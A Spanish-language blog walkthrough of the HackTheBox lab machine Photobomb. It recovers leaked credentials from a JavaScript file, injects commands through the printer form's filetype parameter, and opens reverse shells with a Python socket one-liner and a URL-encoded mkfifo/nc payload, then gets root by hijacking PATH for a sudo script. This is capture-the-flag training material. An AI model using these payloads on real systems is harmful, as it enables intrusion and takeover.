Entrada

Photobomb - HackTheBox

Hoy tocará explotar la máquina Photobomb de HackTheBox, es de dificultad fácil. Haremos un command injection y para la escalada haremos un Path Hijacking

Escaneo NMAP

Antes de empezar les recomiendo hacer un escaneo para saber que puertos estan abiertos y que servicios corren por ellos, ya que esta información nos sera util para continuar con la prueba de penetración.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.182 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-04 13:24 -04
Initiating SYN Stealth Scan at 13:24
Scanning 10.10.11.182 [65535 ports]
Discovered open port 80/tcp on 10.10.11.182
Discovered open port 22/tcp on 10.10.11.182
Completed SYN Stealth Scan at 13:24, 17.92s elapsed (65535 total ports)
Nmap scan report for 10.10.11.182
Host is up, received user-set (0.16s latency).
Scanned at 2023-02-04 13:24:12 -04 for 18s
Not shown: 61907 closed tcp ports (reset), 3626 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.08 seconds
           Raw packets sent: 87248 (3.839MB) | Rcvd: 67894 (2.716MB)

Nos percatamos que tiene el SSH abierto y el puerto 80 que corresponde al HTTP, al entrar a la web no vemos nada, ya que se esta aplicando virtual hosting, para solucionarlo hacemos lo siguiente:

1
echo "10.10.11.182       photobomb.htb" | tee -a /etc/hosts

Enumeración

Vemos una pagina de inicio con un redirect a /printer

WebSite Web Site

Si intentamos acceder nos pedirá credenciales

login Log in

Podemos probar credenciales típicas por defecto, pero no resultará útil.

1
2
3
4
5
admin:admin
admin:password
admin:pass
guest:guest

Si revisamos el código fuente nos encontramos con cosaas interesantes.

Le aplicamos un curl.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ curl -s -X GET http://photobomb.htb
<!DOCTYPE html>
<html>
<head>
  <title>Photobomb</title>
  <link type="text/css" rel="stylesheet" href="styles.css" media="all" />
  <script src="photobomb.js"></script>
</head>
<body>
  <div id="container">
    <header>
      <h1><a href="/">Photobomb</a></h1>
    </header>
    <article>
      <h2>Welcome to your new Photobomb franchise!</h2>
      <p>You will soon be making an amazing income selling premium photographic gifts.</p>
      <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p>
      <p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>
      <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
    </article>
  </div>
</body>
</html>

Podemos ver un script de JavaScript, si vemos su contenido se nos filtra una cookie

1
2
3
4
5
6
7
8
❯ curl -s -X GET http://photobomb.htb/photobomb.js
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Al copiar dicha cookie, podemos ver el panel /printer.

login Log in

Explotación

En este apartado vemos unas imagenes las cuales podemos descargar y hacer pequeñas modificaciones como ser:

Cambiarle la extensión y modicar el tamaño.

printer Printer

Podemos interceptar la petición con BurpSuite y ver mas a detalles como se estructura todo

Burp BurpSuite

Podemos ver si es vulnerable a un Command injection, pero antes que nada inicia un servidor con python

1
python -m http.server 80

Mandamos la petición al Repeater, para ello presionamos Ctrl + R Si nos fijamos en los parametros podemos agregar ; y añadir nuestro comando, se vería así

BurpSuite BurpSuite

Podemos ver que no le gusta en algunos parametros, pero con haciendo prueba y error encontramos que el parametro filetype es vulnerable, lo podemos comprobar en la petición

1
2
3
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.182 - - [04/Feb/2023 14:45:12] "GET / HTTP/1.1" 200 -

Podemos intentar enviarnos una reverse shell, usano esta página podemos hacer la reverse shell con varias opciones. Probaremos con bash pero no funciona, así que podemos probar con python3 y esta nos lanzará la shell

1
export RHOST="10.10.14.25";export RPORT=444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

RCE RCE

Nota: Si usas nc mkfifo y url encode te lanzará la shell igual

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.14.25%20444%20%3E%2Ftmp%2Ff

Ganamos acceso a la máquina, estamos listos para rootearla

1
2
3
4
❯ nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.11.182] 49946
wizard@photobomb:~/photobomb$ 

Toca realizar un tratamiento a la tty, te puedes guiar de mi blog.

Una vez adentro podemos leer la primera flag

1
2
3
wizard@photobomb:~/photobomb$ cat ../user.txt 
06****************************78
wizard@photobomb:~/photobomb$ 

Escalada de privilegios

Si vemos los privilegios SUDOERS vemos que podemos ejecutar un programa hecho en bash

1
2
3
4
5
6
7
8
wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~/photobomb$ 

Vemos que lo podemos ejecutar sin proporcionar ninguna contraseña, es decir que al ejecuralo como sudo sera ejecutado de forma temporal como root sin proporcionar contraseña

1
2
wizard@photobomb:~/photobomb$ sudo /opt/cleanup.sh 
wizard@photobomb:~/photobomb$ 

Si vemos el contenido de dicho archivo nos encontramos con binarios que podemos usar para elevar nuestros privilegios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh 
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
wizard@photobomb:~/photobomb$ 

Vemos que el binario find esta con ruta relativa no absoluta y esto puede derivar a un Path Hijacking,

Podemos aprovechar que podemos cambiar variables de entorno como el Path para que nos ejecute el comando find personalizado, y bajo el contexto de sudo nuestro binario find lo ejecutará root.

1
2
3
4
5
6
wizard@photobomb:/tmp$ echo bash > find
wizard@photobomb:/tmp$ chmod 777 find 
wizard@photobomb:/tmp$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
wizard@photobomb:/tmp$ ls -l /bin/bash
root@photobomb:/home/wizard/photobomb# 

Ya rooteamos la máquina, lo que hicimos fue hacer un binario perzonalizado find que nos lanze una bash como root, en este caso, ya que el esta ejecutando el /opt/cleanup.sh con el binario find de forma relativa. Procedemos a leer la flag

1
2
3
root@photobomb:/home/wizard/photobomb# cat /root/root.txt 
74****************************35
root@photobomb:/home/wizard/photobomb# 

¡¡¡Máquina Pwneada!!! Te deseo un Feliz Hackeo.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.

Etiquetas populares